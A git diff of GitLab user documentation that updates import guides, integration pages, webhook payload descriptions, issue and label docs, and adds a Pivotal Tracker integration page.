diff --git a/doc/user/project/img/protected_branches_select_roles_and_users_list.png b/doc/user/project/img/protected_branches_select_roles_and_users_list.png
deleted file mode 100644
index 519f2267496..00000000000
--- a/doc/user/project/img/protected_branches_select_roles_and_users_list.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/import/bitbucket_server.md b/doc/user/project/import/bitbucket_server.md
index 963b9f524ff..7ccdb632c19 100644
--- a/doc/user/project/import/bitbucket_server.md
+++ b/doc/user/project/import/bitbucket_server.md
@@ -36,7 +36,7 @@ created as private in GitLab as well.
- Attachments in Markdown are not imported.
- Task lists are not imported.
- Emoji reactions are not imported.
-- Project filtering does not support fuzzy search (only `starts with` or `full match strings` are
+- Project filtering does not support fuzzy search (only `starts with` or `full match strings` are
supported).
## How it works
@@ -51,7 +51,7 @@ The Bitbucket Server importer works as follows:
### User assignment
When issues/pull requests are being imported, the Bitbucket importer tries to
-find the author's e-mail address with a confirmed e-mail address in the GitLab
+find the author's email address with a confirmed email address in the GitLab
user database. If no such user is available, the project creator is set as
the author. The importer appends a note in the comment to mark the original
creator.
diff --git a/doc/user/project/import/fogbugz.md b/doc/user/project/import/fogbugz.md
index d3d77f16200..982bc6d90e8 100644
--- a/doc/user/project/import/fogbugz.md
+++ b/doc/user/project/import/fogbugz.md
@@ -7,31 +7,24 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Import your project from FogBugz to GitLab **(FREE)**
-It only takes a few simple steps to import your project from FogBugz.
-The importer imports all your cases and comments with original case
-numbers and timestamps. You can also map FogBugz users to GitLab users.
+Using the importer, you can import your FogBugz project to GitLab.com
+or to your self-managed GitLab instance.
-Follow these steps to import your project from FogBugz:
+The importer imports all of your cases and comments with the original
+case numbers and timestamps. You can also map FogBugz users to GitLab
+users.
-1. From your GitLab dashboard, select **New project**.
+To import your project from FogBugz:
+1. From your GitLab dashboard, select **New project**.
1. Select the **FogBugz** button.
-
- ![FogBugz](img/fogbugz_import_select_fogbogz.png)
-
+ ![FogBugz](img/fogbugz_import_select_fogbogz.png)
1. Enter your FogBugz URL, email address, and password.
-
- ![Login](img/fogbugz_import_login.png)
-
-1. Create mapping from FogBugz users to GitLab users.
-
- ![User Map](img/fogbugz_import_user_map.png)
-
-1. Select the projects you wish to import by selecting the **Import** buttons.
-
- ![Import Project](img/fogbugz_import_select_project.png)
-
-1. Once the import finishes, click the link to go to the project
+ ![Login](img/fogbugz_import_login.png)
+1. Create a mapping from FogBugz users to GitLab users.
+ ![User Map](img/fogbugz_import_user_map.png)
+1. Select **Import** for the projects you want to import.
+ ![Import Project](img/fogbugz_import_select_project.png)
+1. After the import finishes, click the link to go to the project
dashboard. Follow the directions to push your existing repository.
-
- ![Finished](img/fogbugz_import_finished.png)
+ ![Finished](img/fogbugz_import_finished.png)
diff --git a/doc/user/project/import/github.md b/doc/user/project/import/github.md
index 99b3e1acdcf..e67b6a45280 100644
--- a/doc/user/project/import/github.md
+++ b/doc/user/project/import/github.md
@@ -28,7 +28,7 @@ The following aspects of a project are imported:
References to pull requests and issues are preserved (GitLab.com & 8.7+), and
each imported repository maintains visibility level unless that [visibility
-level is restricted](../../../public_access/public_access.md#restricting-the-use-of-public-or-internal-projects),
+level is restricted](../../../public_access/public_access.md#restrict-use-of-public-or-internal-projects),
in which case it defaults to the default project visibility.
The namespace is a user or group in GitLab, such as `gitlab.com/janedoe` or `gitlab.com/customer-success`. You can do some bulk actions to move projects to different namespaces in the rails console.
@@ -60,7 +60,7 @@ For this association to succeed, each GitHub author and assignee in the reposito
must meet one of the following conditions prior to the import:
- Have previously logged in to a GitLab account using the GitHub icon.
-- Have a GitHub account with a [public-facing email address](https://docs.github.com/en/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address)
+- Have a GitHub account with a [public-facing email address](https://docs.github.com/en/github/setting-up-and-managing-your-github-user-account/managing-email-preferences/setting-your-commit-email-address)
that matches their GitLab account's email address.
NOTE:
@@ -134,6 +134,9 @@ If you are not using the GitHub integration, you can still perform an authorizat
1. Hit the **List Your GitHub Repositories** button and wait while GitLab reads your repositories' information.
Once done, you'll be taken to the importer page to select the repositories to import.
+To use a newer personal access token in imports after previously performing these steps, sign out of
+your GitLab account and sign in again, or revoke the older personal access token in GitHub.
+
### Select which repositories to import
After you have authorized access to your GitHub repositories, you are redirected to the GitHub importer page and
@@ -160,6 +163,9 @@ Additionally, you can configure GitLab to send pipeline status updates back GitH
If you import your project using [CI/CD for external repository](../../../ci/ci_cd_for_external_repos/index.md), then both
of the above are automatically configured. **(PREMIUM)**
+NOTE:
+Mirroring does not sync any new or updated pull requests from your GitHub project.
+
## Improve the speed of imports on self-managed instances
NOTE:
diff --git a/doc/user/project/import/index.md b/doc/user/project/import/index.md
index 05fd04f6e48..dcc41c6c85e 100644
--- a/doc/user/project/import/index.md
+++ b/doc/user/project/import/index.md
@@ -49,7 +49,7 @@ When migrating to GitLab.com, you must create users manually unless [SCIM](../..
will be used. Creating users with the API is limited to self-managed instances as it requires
administrator access.
-To migrate all data from self-managed to GitLab.com, you can leverage the [API](../../../api/README.md).
+To migrate all data from self-managed to GitLab.com, you can leverage the [API](../../../api/index.md).
Migrate the assets in this order:
1. [Groups](../../../api/groups.md)
@@ -74,6 +74,10 @@ best to [back up](../../../raketasks/backup_restore.md)
the existing instance and restore it on the new instance. For example, this is useful when migrating
a self-managed instance from an old server to a new server.
+The backups produced don't depend on the operating system running GitLab. You can therefore use
+the restore method to switch between different operating system distributions or versions, as long
+as the same GitLab version [is available for installation](https://docs.gitlab.com/omnibus/package-information/deprecated_os.md).
+
To instead merge two self-managed GitLab instances together, use the instructions in
[Migrate from self-managed GitLab to GitLab.com](#migrate-from-self-managed-gitlab-to-gitlabcom).
This method is useful when both self-managed instances have existing data that must be preserved.
diff --git a/doc/user/project/import/jira.md b/doc/user/project/import/jira.md
index 4273f90c1e7..07419080d7d 100644
--- a/doc/user/project/import/jira.md
+++ b/doc/user/project/import/jira.md
@@ -4,7 +4,7 @@ group: Project Management
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Import your Jira project issues to GitLab
+# Import your Jira project issues to GitLab **(PREMIUM)**
> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/2766) in GitLab 12.10.
diff --git a/doc/user/project/index.md b/doc/user/project/index.md
index 0dcbf997452..fca9c3e7023 100644
--- a/doc/user/project/index.md
+++ b/doc/user/project/index.md
@@ -65,7 +65,7 @@ Projects include the following [features](https://about.gitlab.com/features/):
**GitLab CI/CD:**
-- [GitLab CI/CD](../../ci/README.md): Use the built-in [Continuous Integration, Delivery, and Deployment](https://about.gitlab.com/blog/2016/08/05/continuous-integration-delivery-and-deployment-with-gitlab/) tool.
+- [GitLab CI/CD](../../ci/index.md): Use the built-in [Continuous Integration, Delivery, and Deployment](https://about.gitlab.com/blog/2016/08/05/continuous-integration-delivery-and-deployment-with-gitlab/) tool.
- [Container Registry](../packages/container_registry/index.md): Build and push Docker
images.
- [Auto Deploy](../../topics/autodevops/stages.md#auto-deploy): Configure GitLab CI/CD
@@ -134,7 +134,7 @@ To review or contribute to the extension's code, visit [its codebase in GitLab](
## Project APIs
-There are numerous [APIs](../../api/README.md) to use with your projects:
+There are numerous [APIs](../../api/index.md) to use with your projects:
- [Badges](../../api/project_badges.md)
- [Clusters](../../api/project_clusters.md)
diff --git a/doc/user/project/integrations/github.md b/doc/user/project/integrations/github.md
index 4f5640d9fff..019ca9da9f1 100644
--- a/doc/user/project/integrations/github.md
+++ b/doc/user/project/integrations/github.md
@@ -18,7 +18,7 @@ and is automatically configured on [GitHub import](../../../integration/github.m
## Configuration
-This integration requires a [GitHub API token](https://docs.github.com/en/github/authenticating-to-github/creating-a-personal-access-token)
+This integration requires a [GitHub API token](https://docs.github.com/en/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-personal-access-token)
with `repo:status` access granted.
Complete these steps on GitHub:
diff --git a/doc/user/project/integrations/hangouts_chat.md b/doc/user/project/integrations/hangouts_chat.md
index 0668e5dd88f..d5dc02d5455 100644
--- a/doc/user/project/integrations/hangouts_chat.md
+++ b/doc/user/project/integrations/hangouts_chat.md
@@ -36,7 +36,7 @@ Select a room and create a webhook:
1. Select **Save**.
1. Copy the webhook URL.
-For further details, see [the Google Chat documentation for configuring webhooks](https://developers.google.com/hangouts/chat/how-tos/webhooks).
+For further details, see [the Google Chat documentation for configuring webhooks](https://developers.google.com/chat/how-tos/webhooks).
## In GitLab
diff --git a/doc/user/project/integrations/img/project_integrations_v13_3.png b/doc/user/project/integrations/img/project_integrations_v13_3.png
deleted file mode 100644
index 9c925d32441..00000000000
--- a/doc/user/project/integrations/img/project_integrations_v13_3.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/integrations/jira_cloud_configuration.md b/doc/user/project/integrations/jira_cloud_configuration.md
deleted file mode 100644
index c9ab4532760..00000000000
--- a/doc/user/project/integrations/jira_cloud_configuration.md
+++ /dev/null
@@ -1,9 +0,0 @@
----
-redirect_to: '../../../integration/jira/jira_cloud_configuration.md'
-remove_date: '2021-06-18'
----
-
-This document was moved to [another location](../../../integration/jira/jira_cloud_configuration.md).
-
-<!-- This redirect file can be deleted after <2021-06-18>. -->
-<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/project/integrations/jira_server_configuration.md b/doc/user/project/integrations/jira_server_configuration.md
deleted file mode 100644
index de6eec62b96..00000000000
--- a/doc/user/project/integrations/jira_server_configuration.md
+++ /dev/null
@@ -1,9 +0,0 @@
----
-redirect_to: '../../../integration/jira/jira_server_configuration.md'
-remove_date: '2021-06-18'
----
-
-This document was moved to [another location](../../../integration/jira/jira_server_configuration.md).
-
-<!-- This redirect file can be deleted after <2021-06-18>. -->
-<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/project/integrations/mattermost_slash_commands.md b/doc/user/project/integrations/mattermost_slash_commands.md
index 834bf15c287..619ae52481b 100644
--- a/doc/user/project/integrations/mattermost_slash_commands.md
+++ b/doc/user/project/integrations/mattermost_slash_commands.md
@@ -141,7 +141,7 @@ The available slash commands for Mattermost are:
| ------- | ----------- | ------- |
| <kbd>/&lt;trigger&gt; issue new &lt;title&gt; <kbd>⇧ Shift</kbd>+<kbd>↵ Enter</kbd> &lt;description&gt;</kbd> | Create a new issue in the project that `<trigger>` is tied to. `<description>` is optional. | `/gitlab issue new We need to change the homepage` |
| <kbd>/&lt;trigger&gt; issue show &lt;issue-number&gt;</kbd> | Show the issue with ID `<issue-number>` from the project that `<trigger>` is tied to. | `/gitlab issue show 42` |
-| <kbd>/&lt;trigger&gt; deploy &lt;environment&gt; to &lt;environment&gt;</kbd> | Start the CI job that deploys from one environment to another, for example `staging` to `production`. CI/CD must be [properly configured](../../../ci/yaml/README.md). | `/gitlab deploy staging to production` |
+| <kbd>/&lt;trigger&gt; deploy &lt;environment&gt; to &lt;environment&gt;</kbd> | Start the CI job that deploys from one environment to another, for example `staging` to `production`. CI/CD must be [properly configured](../../../ci/yaml/index.md). | `/gitlab deploy staging to production` |
To see a list of available commands to interact with GitLab, type the
trigger word followed by <kbd>help</kbd>. Example: `/gitlab help`
diff --git a/doc/user/project/integrations/overview.md b/doc/user/project/integrations/overview.md
index b0ae290e7cd..53aa9da30ab 100644
--- a/doc/user/project/integrations/overview.md
+++ b/doc/user/project/integrations/overview.md
@@ -15,11 +15,9 @@ functionality to GitLab.
You can find the available integrations under your project's
**Settings > Integrations** page.
-There are more than 20 integrations to integrate with. Click on the one that you
+There are more than 20 integrations to integrate with. Select the one that you
want to configure.
-![Integrations list](img/project_integrations_v13_3.png)
-
## Integrations listing
Click on the service links to see further configuration instructions and details.
@@ -34,6 +32,7 @@ Click on the service links to see further configuration instructions and details
| Campfire | Connect to chat. | **{dotted-circle}** No |
| [Confluence Workspace](../../../api/services.md#confluence-service) | Replace the link to the internal wiki with a link to a Confluence Cloud Workspace. | **{dotted-circle}** No |
| [Custom issue tracker](custom_issue_tracker.md) | Use a custom issue tracker. | **{dotted-circle}** No |
+| [Datadog](../../../integration/datadog.md) | Trace your GitLab pipelines with Datadog. | **{check-circle}** Yes |
| [Discord Notifications](discord_notifications.md) | Send notifications about project events to a Discord channel. | **{dotted-circle}** No |
| Drone CI | Run CI/CD pipelines with Drone. | **{check-circle}** Yes |
| [Emails on push](emails_on_push.md) | Send commits and diff of each push by email. | **{dotted-circle}** No |
@@ -51,7 +50,7 @@ Click on the service links to see further configuration instructions and details
| [Microsoft Teams notifications](microsoft_teams.md) | Receive event notifications. | **{dotted-circle}** No |
| Packagist | Update your projects. | **{check-circle}** Yes |
| Pipelines emails | Send the pipeline status to a list of recipients by email. | **{dotted-circle}** No |
-| PivotalTracker | Use PivotalTracker as the issue tracker. | **{dotted-circle}** No |
+| [Pivotal Tracker](pivotal_tracker.md) | Add commit messages as comments to Pivotal Tracker stories. | **{dotted-circle}** No |
| [Prometheus](prometheus.md) | Monitor application metrics. | **{dotted-circle}** No |
| Pushover | Get real-time notifications on your device. | **{dotted-circle}** No |
| [Redmine](redmine.md) | Use Redmine as the issue tracker. | **{dotted-circle}** No |
@@ -115,6 +114,6 @@ plugins. This allows the community to keep the plugins up to date so that they
always work in newer GitLab versions.
For an overview of what integrations are available, please see the
-[project_services source directory](https://gitlab.com/gitlab-org/gitlab/-/tree/master/app/models/project_services).
+[integrations source directory](https://gitlab.com/gitlab-org/gitlab/-/tree/master/app/models/integrations).
Contributions are welcome!
diff --git a/doc/user/project/integrations/pivotal_tracker.md b/doc/user/project/integrations/pivotal_tracker.md
new file mode 100644
index 00000000000..c2c827c240b
--- /dev/null
+++ b/doc/user/project/integrations/pivotal_tracker.md
@@ -0,0 +1,47 @@
+---
+stage: Create
+group: Ecosystem
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Pivotal Tracker service **(FREE)**
+
+This service adds commit messages as comments to Pivotal Tracker stories.
+
+Once enabled, commit messages are checked for square brackets containing a hash mark followed by
+the story ID (for example, `[#555]`). Every story ID found gets the commit comment added to it.
+
+You can also close a story with a message containing: `fix [#555]`.
+You can use any of these words:
+
+- `fix`
+- `fixed`
+- `fixes`
+- `complete`
+- `completes`
+- `completed`
+- `finish`
+- `finished`
+- `finishes`
+- `delivers`
+
+Read more about the
+[Source Commits endpoint](https://www.pivotaltracker.com/help/api/rest/v5#Source_Commits) in
+the Pivotal Tracker API documentation.
+
+See also the [Pivotal Tracker service API documentation](../../../api/services.md#pivotal-tracker).
+
+## Set up Pivotal Tracker
+
+In Pivotal Tracker, [create an API token](https://www.pivotaltracker.com/help/articles/api_token/).
+
+Complete these steps in GitLab:
+
+1. Go to the project you want to configure.
+1. Go to the [Integrations page](overview.md#accessing-integrations).
+1. Select **Pivotal Tracker**.
+1. Ensure that the **Active** toggle is enabled.
+1. Paste the token you generated in Pivotal Tracker.
+1. (Optional) To restrict this setting to specific branches, list them in the **Restrict to branch**
+ field, separated with commas.
+1. Select **Save changes** or optionally select **Test settings**.
diff --git a/doc/user/project/integrations/prometheus_library/index.md b/doc/user/project/integrations/prometheus_library/index.md
index 584c0898fec..fe74ea6834b 100644
--- a/doc/user/project/integrations/prometheus_library/index.md
+++ b/doc/user/project/integrations/prometheus_library/index.md
@@ -35,6 +35,6 @@ In order to isolate and only display relevant metrics for a given environment,
GitLab needs a method to detect which labels are associated. To do that,
GitLab uses the defined queries and fills in the environment specific variables.
Typically this involves looking for the
-[`$CI_ENVIRONMENT_SLUG`](../../../../ci/variables/README.md#predefined-cicd-variables),
+[`$CI_ENVIRONMENT_SLUG`](../../../../ci/variables/index.md#predefined-cicd-variables),
but may also include other information such as the project's Kubernetes namespace.
Each search query is defined in the [exporter specific documentation](#exporters).
diff --git a/doc/user/project/integrations/prometheus_library/kubernetes.md b/doc/user/project/integrations/prometheus_library/kubernetes.md
index 1bafa4938af..ea0119f2e94 100644
--- a/doc/user/project/integrations/prometheus_library/kubernetes.md
+++ b/doc/user/project/integrations/prometheus_library/kubernetes.md
@@ -40,7 +40,7 @@ Prometheus needs to be deployed into the cluster and configured properly in orde
In order to isolate and only display relevant CPU and Memory metrics for a given environment, GitLab needs a method to detect which containers it is running. Because these metrics are tracked at the container level, traditional Kubernetes labels are not available.
-Instead, the [Deployment](https://kubernetes.io/docs/concepts/workloads/controllers/deployment/) or [DaemonSet](https://kubernetes.io/docs/concepts/workloads/controllers/daemonset/) name should begin with [CI_ENVIRONMENT_SLUG](../../../../ci/variables/README.md#predefined-cicd-variables). It can be followed by a `-` and additional content if desired. For example, a deployment name of `review-homepage-5620p5` would match the `review/homepage` environment.
+Instead, the [Deployment](https://kubernetes.io/docs/concepts/workloads/controllers/deployment/) or [DaemonSet](https://kubernetes.io/docs/concepts/workloads/controllers/daemonset/) name should begin with [CI_ENVIRONMENT_SLUG](../../../../ci/variables/index.md#predefined-cicd-variables). It can be followed by a `-` and additional content if desired. For example, a deployment name of `review-homepage-5620p5` would match the `review/homepage` environment.
## Displaying Canary metrics **(PREMIUM)**
diff --git a/doc/user/project/integrations/webex_teams.md b/doc/user/project/integrations/webex_teams.md
index 05515c58161..2851fe0b299 100644
--- a/doc/user/project/integrations/webex_teams.md
+++ b/doc/user/project/integrations/webex_teams.md
@@ -13,7 +13,7 @@ You can configure GitLab to send notifications to a Webex Teams space:
## Create a webhook for the space
-1. Go to the [Incoming Webhooks app page](https://apphub.webex.com/messaging/applications/incoming-webhooks-cisco-systems-38054).
+1. Go to the [Incoming Webhooks app page](https://apphub.webex.com/applications/incoming-webhooks-cisco-systems-38054).
1. Select **Connect** and log in to Webex Teams, if required.
1. Enter a name for the webhook and select the space to receive the notifications.
1. Select **ADD**.
diff --git a/doc/user/project/integrations/webhooks.md b/doc/user/project/integrations/webhooks.md
index 406b1e9ba6b..01f3424d993 100644
--- a/doc/user/project/integrations/webhooks.md
+++ b/doc/user/project/integrations/webhooks.md
@@ -112,7 +112,7 @@ branches, this hook isn't executed.
X-Gitlab-Event: Push Hook
```
-**Request body:**
+**Payload example:**
```json
{
@@ -202,7 +202,7 @@ tags, this hook is not executed.
X-Gitlab-Event: Tag Push Hook
```
-**Request body:**
+**Payload example:**
```json
{
@@ -256,7 +256,14 @@ Triggered when a new issue is created or an existing issue was updated/closed/re
X-Gitlab-Event: Issue Hook
```
-**Request body:**
+**Available `object_attributes.action`:**
+
+- `open`
+- `close`
+- `reopen`
+- `update`
+
+**Payload example:**
```json
{
@@ -423,7 +430,7 @@ Valid target types:
X-Gitlab-Event: Note Hook
```
-**Request body:**
+**Payload example:**
```json
{
@@ -505,7 +512,7 @@ X-Gitlab-Event: Note Hook
X-Gitlab-Event: Note Hook
```
-**Request body:**
+**Payload example:**
```json
{
@@ -634,7 +641,7 @@ X-Gitlab-Event: Note Hook
X-Gitlab-Event: Note Hook
```
-**Request body:**
+**Payload example:**
```json
{
@@ -742,7 +749,7 @@ NOTE:
X-Gitlab-Event: Note Hook
```
-**Request body:**
+**Payload example:**
```json
{
@@ -820,7 +827,17 @@ Triggered when a new merge request is created, an existing merge request was upd
X-Gitlab-Event: Merge Request Hook
```
-**Request body:**
+**Available `object_attributes.action`:**
+
+- `open`
+- `close`
+- `reopen`
+- `update`
+- `approved`
+- `unapproved`
+- `merge`
+
+**Payload example:**
```json
{
@@ -983,7 +1000,7 @@ Triggered when a wiki page is created, updated or deleted.
X-Gitlab-Event: Wiki Page Hook
```
-**Request Body**:
+**Payload example**:
```json
{
@@ -1044,7 +1061,7 @@ Triggered on status change of Pipeline.
X-Gitlab-Event: Pipeline Hook
```
-**Request Body**:
+**Payload example**:
```json
{
@@ -1291,7 +1308,7 @@ Triggered on status change of a job.
X-Gitlab-Event: Job Hook
```
-**Request Body**:
+**Payload example**:
```json
{
@@ -1340,7 +1357,7 @@ X-Gitlab-Event: Job Hook
},
"runner": {
"active": true,
- "runner_type": "project_type",
+ "runner_type": "project_type",
"is_shared": false,
"id": 380987,
"description": "shared-runners-manager-6.gitlab.com",
@@ -1370,7 +1387,7 @@ Triggered when a deployment:
X-Gitlab-Event: Deployment Hook
```
-**Request Body**:
+**Payload example**:
```json
{
@@ -1433,7 +1450,7 @@ Member events are triggered when:
X-Gitlab-Event: Member Hook
```
-**Request Body**:
+**Payload example**:
```json
{
@@ -1461,7 +1478,7 @@ X-Gitlab-Event: Member Hook
X-Gitlab-Event: Member Hook
```
-**Request Body**:
+**Payload example**:
```json
{
@@ -1489,7 +1506,7 @@ X-Gitlab-Event: Member Hook
X-Gitlab-Event: Member Hook
```
-**Request Body**:
+**Payload example**:
```json
{
@@ -1526,7 +1543,7 @@ Subgroup events are triggered when:
X-Gitlab-Event: Subgroup Hook
```
-**Request Body**:
+**Payload example**:
```json
{
@@ -1554,7 +1571,7 @@ X-Gitlab-Event: Subgroup Hook
X-Gitlab-Event: Subgroup Hook
```
-**Request Body**:
+**Payload example**:
```json
{
@@ -1587,7 +1604,7 @@ Triggered when a feature flag is turned on or off.
X-Gitlab-Event: Feature Flag Hook
```
-**Request Body**:
+**Payload example**:
```json
{
@@ -1637,7 +1654,12 @@ Triggered when a release is created or updated.
X-Gitlab-Event: Release Hook
```
-**Request Body**:
+**Available `object_attributes.action`:**
+
+- `create`
+- `update`
+
+**Payload example**:
```json
{
@@ -1762,6 +1784,10 @@ On this page, you can see data that GitLab sends (request headers and body) and
From this page, you can repeat delivery with the same data by clicking `Resend Request` button.
NOTE:
+This history is unavailable for Group-level webhooks. For more information, read
+[issue #325642](https://gitlab.com/gitlab-org/gitlab/-/issues/325642).
+
+NOTE:
If URL or secret token of the webhook were updated, data is delivered to the new address.
### Webhook fails or multiple webhook requests are triggered
diff --git a/doc/user/project/issue_board.md b/doc/user/project/issue_board.md
index 8f71d469e34..a32a8ed8ec7 100644
--- a/doc/user/project/issue_board.md
+++ b/doc/user/project/issue_board.md
@@ -97,8 +97,8 @@ For examples of using issue boards along with [epics](../group/epics/index.md),
### Use cases for a single issue board
-With the GitLab Workflow you can discuss proposals in issues, label
-them, and organize and prioritize them with issue boards.
+With the [GitLab Flow](https://about.gitlab.com/topics/version-control/what-is-gitlab-flow/) you can
+discuss proposals in issues, label them, and organize and prioritize them with issue boards.
For example, let's consider this simplified development workflow:
@@ -154,7 +154,7 @@ for them.
NOTE:
For a broader use case, please see the blog post
-[GitLab Workflow, an Overview](https://about.gitlab.com/topics/version-control/what-is-gitlab-workflow/#gitlab-workflow-a-use-case-scenario).
+[What is GitLab Flow?](https://about.gitlab.com/topics/version-control/what-is-gitlab-flow/).
For a real use case example, you can read why
[Codepen decided to adopt issue boards](https://about.gitlab.com/blog/2017/01/27/codepen-welcome-to-gitlab/#project-management-everything-in-one-place)
to improve their workflow with multiple boards.
@@ -426,7 +426,7 @@ To set a WIP limit for a list:
1. Enter the maximum number of issues.
1. Press <kbd>Enter</kbd> to save.
-## Blocked issues
+## Blocked issues **(PREMIUM)**
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/34723) in GitLab 12.8.
> - [View blocking issues when hovering over blocked icon](https://gitlab.com/gitlab-org/gitlab/-/issues/210452) in GitLab 13.10.
diff --git a/doc/user/project/issues/associate_zoom_meeting.md b/doc/user/project/issues/associate_zoom_meeting.md
index f98e94c66ae..e020bdee737 100644
--- a/doc/user/project/issues/associate_zoom_meeting.md
+++ b/doc/user/project/issues/associate_zoom_meeting.md
@@ -4,7 +4,7 @@ group: Project Management
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Associate a Zoom meeting with an issue
+# Associate a Zoom meeting with an issue **(FREE)**
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/16609) in GitLab 12.4.
diff --git a/doc/user/project/issues/confidential_issues.md b/doc/user/project/issues/confidential_issues.md
index ed15d7a2e63..92c26fb654e 100644
--- a/doc/user/project/issues/confidential_issues.md
+++ b/doc/user/project/issues/confidential_issues.md
@@ -4,11 +4,9 @@ group: Project Management
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Confidential issues
+# Confidential issues **(FREE)**
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/3282) in GitLab 8.6.
-
-Confidential issues are issues visible only to members of a project with
+Confidential issues are [issues](index.md) visible only to members of a project with
[sufficient permissions](#permissions-and-access-to-confidential-issues).
Confidential issues can be used by open source projects and companies alike to
keep security vulnerabilities private or prevent surprises from leaking out.
diff --git a/doc/user/project/issues/crosslinking_issues.md b/doc/user/project/issues/crosslinking_issues.md
index 63b38520c98..2b07131df6e 100644
--- a/doc/user/project/issues/crosslinking_issues.md
+++ b/doc/user/project/issues/crosslinking_issues.md
@@ -4,9 +4,9 @@ group: Project Management
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Crosslinking issues
+# Crosslinking issues **(FREE)**
-There are several ways to mention an issue or make issues appear in each other's
+There are several ways to mention an issue or make [issues](index.md) appear in each other's
[Linked issues](related_issues.md) section.
For more information on GitLab Issues, read the [issues documentation](index.md).
diff --git a/doc/user/project/issues/img/issue_type_change_v13_12.png b/doc/user/project/issues/img/issue_type_change_v13_12.png
index 3b4864ffbbb..55aa607b878 100644
--- a/doc/user/project/issues/img/issue_type_change_v13_12.png
+++ b/doc/user/project/issues/img/issue_type_change_v13_12.png
Binary files differ
diff --git a/doc/user/project/issues/issue_data_and_actions.md b/doc/user/project/issues/issue_data_and_actions.md
index 13f5beadb16..2ef12cd1240 100644
--- a/doc/user/project/issues/issue_data_and_actions.md
+++ b/doc/user/project/issues/issue_data_and_actions.md
@@ -4,7 +4,7 @@ group: Project Management
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Issue Data and Actions
+# Issue Data and Actions **(FREE)**
Please read through the [GitLab Issue Documentation](index.md) for an overview on GitLab Issues.
@@ -151,7 +151,7 @@ cannot access the issue, and it is not listed in the project's issue boards nor
### Lock issue
-You can [lock the threads](../../discussions/index.md#lock-discussions) in the issue,
+You can [lock the issue](../../discussions/index.md#prevent-comments-by-locking-an-issue)
to prevent further comments from being added.
### Participants
@@ -288,7 +288,7 @@ supports [GitLab Flavored Markdown](../../markdown.md#gitlab-flavored-markdown).
After you write a comment, you can:
- Click **Comment** to publish your comment.
-- Choose **Start thread** from the dropdown list and start a new [thread](../../discussions/index.md#threaded-discussions)
+- Choose **Start thread** from the dropdown list and start a new [thread](../../discussions/index.md#create-a-thread-without-replying-to-a-comment)
in that issue's main thread to discuss specific points. This invites other participants
to reply directly to your thread, keeping related comments grouped together.
diff --git a/doc/user/project/issues/managing_issues.md b/doc/user/project/issues/managing_issues.md
index 35573518626..c570bc9612a 100644
--- a/doc/user/project/issues/managing_issues.md
+++ b/doc/user/project/issues/managing_issues.md
@@ -4,7 +4,7 @@ group: Project Management
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Managing issues
+# Managing issues **(FREE)**
[GitLab Issues](index.md) are the fundamental medium for collaborating on ideas and
planning work in GitLab.
@@ -333,7 +333,7 @@ of your installation.
## Change the issue type
-Users with [developer permission](../../permissions.md)
+Users with the [Developer role](../../permissions.md)
can change an issue's type. To do this, edit the issue and select an issue type from the
**Issue type** selector menu:
diff --git a/doc/user/project/issues/sorting_issue_lists.md b/doc/user/project/issues/sorting_issue_lists.md
index 97a790c2527..2681a39aeb6 100644
--- a/doc/user/project/issues/sorting_issue_lists.md
+++ b/doc/user/project/issues/sorting_issue_lists.md
@@ -8,7 +8,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
You can sort a list of issues several ways, including by:
-- Blocking
+- Blocking **(PREMIUM)**
- Created date
- Due date
- Label priority
@@ -51,7 +51,7 @@ This ordering also affects [issue boards](../issue_board.md#how-gitlab-orders-is
Changing the order in an issue list changes the ordering in an issue board,
and vice versa.
-## Sorting by blocking issues
+## Sorting by blocking issues **(PREMIUM)**
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/34247/) in GitLab 13.7.
diff --git a/doc/user/project/labels.md b/doc/user/project/labels.md
index e7adc045e98..43d6ab2070d 100644
--- a/doc/user/project/labels.md
+++ b/doc/user/project/labels.md
@@ -59,7 +59,7 @@ and edit labels.
> Showing all inherited labels [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/241990) in GitLab 13.5.
-To view a project's available labels, in the project, go to **Issues > Labels**.
+To view a project's available labels, in the project, go to **Project information > Labels**.
Its list of labels includes both the labels defined at the project level, and
all labels defined by its ancestor groups. For each label, you can see the
project or group path from where it was created. You can filter the list by
@@ -68,7 +68,7 @@ icon (**{search}**).
To create a new project label:
-1. In your project, go to **Issues > Labels**.
+1. In your project, go to **Project information > Labels**.
1. Select the **New label** button.
1. In the **Title** field, enter a short, descriptive name for the label. You
can also use this field to create [scoped, mutually exclusive labels](#scoped-labels).
@@ -118,18 +118,18 @@ Promoting a label is a permanent action, and cannot be reversed.
To promote a project label to a group label:
-1. Navigate to **Issues > Labels** in the project.
+1. Navigate to **Project information > Labels** in the project.
1. Click on the three dots (**{ellipsis_v}**) next to the **Subscribe** button and
select **Promote to group label**.
### Group labels
-To view the group labels list, navigate to the group and click **Issues > Labels**.
+To view the group labels list, navigate to the group and click **Group information > Labels**.
The list includes all labels that are defined at the group level only. It does not
list any labels that are defined in projects. You can filter the list by entering
